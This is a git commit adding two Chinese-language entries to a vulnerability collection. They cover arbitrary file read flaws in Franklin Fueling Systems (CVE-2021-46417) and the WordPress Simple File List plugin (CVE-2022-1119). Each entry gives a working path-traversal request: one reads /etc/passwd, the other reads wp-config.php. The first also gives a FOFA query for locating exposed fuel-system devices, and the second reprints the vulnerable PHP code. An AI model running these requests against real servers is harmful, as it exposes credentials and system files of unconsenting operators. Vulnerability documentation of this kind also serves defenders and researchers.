更新漏洞库：服务器应用漏洞/

2025-11-05 10:50:23 +00:00 · 2022-07-15 11:17:09 +08:00 · 2022-07-15 11:17:09 +08:00 · 0767cdb804
commit 0767cdb804
parent 6ee7b91a07
2 changed files with 91 additions and 0 deletions
--- a/服务器应用漏洞/Franklin
+++ b/服务器应用漏洞/Franklin
@ -0,0 +1,34 @@
+# Franklin Fueling Systems tsaupload.cgi 任意文件读取漏洞 CVE-2021-46417
+
+## 漏洞描述
+
+Franklin Electric Franklin Fueling Systems是美国Franklin Electric公司的一个加油系统。
+
+Franklin Fueling Systems tsaupload.cgi 存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器敏感文件。
+
+## 漏洞影响
+
+```
+Franklin Fueling Systems
+```
+
+## FOFA
+
+```
+"Franklin Fueling Systems"
+```
+
+## 漏洞复现
+
+主页面
+
+![image-20220715105504364](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202207151055481.png)
+
+验证POC
+
+```
+/cgi-bin/tsaupload.cgi?file_name=../../../../../../etc/passwd&password=
+```
+
+![image-20220715105538276](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202207151055335.png)
+
--- a/服务器应用漏洞/WordPress
+++ b/服务器应用漏洞/WordPress
@ -0,0 +1,57 @@
+# WordPress Simple File List ee-downloader.php 任意文件读取漏洞 CVE-2022-1119
+
+## 漏洞描述
+
+WordPress Simple File List插件 ee-downloader.php文件存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器中的任意文件
+
+## 漏洞影响
+
+```
+WordPress Simple File List < 3.2.8
+```
+
+## 插件名
+
+Simple File List
+
+https://downloads.wordpress.org/plugin/simple-file-list.3.2.17.zip
+
+## 漏洞复现
+
+存在漏洞的文件为 `wp-content/plugins/simple-file-list/includes/ee-downloader.php`
+
+![image-20220706134725779](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202207061347857.png)
+
+```php
+<?php // Simple File List - ee-downloader.php - rev 1.19 - mitchellbennis@gmail.com
+
+// Force File to Download
+// This script is accessed via javascript on ee-download.php 
+
+$eeFile =  filter_var($_GET['eeFile'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_LOW);
+
+if(is_readable($eeFile)) {
+
+    header('Pragma: public'); // required
+    header('Expires: 0'); // no cache
+    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
+    header('Last-Modified: '. gmdate ('D, d M Y H:i:s', filemtime ($eeFile)) .' GMT');
+    header('Cache-Control: private',false);
+    header('Content-Type: ' . mime_content_type($eeFile) );
+    header('Content-Disposition: attachment; filename="'. basename($eeFile) .'"');
+    // header('Content-Transfer-Encoding: binary');
+    header('Content-Length: '. filesize($eeFile)); // provide file size
+    header('Connection: close');
+    readfile($eeFile); // Start the download
+
+}
+?>
+```
+
+直接传参获取文件信息, 验证POC
+
+```
+/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php
+```
+
+![image-20220706134750574](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202207061347645.png)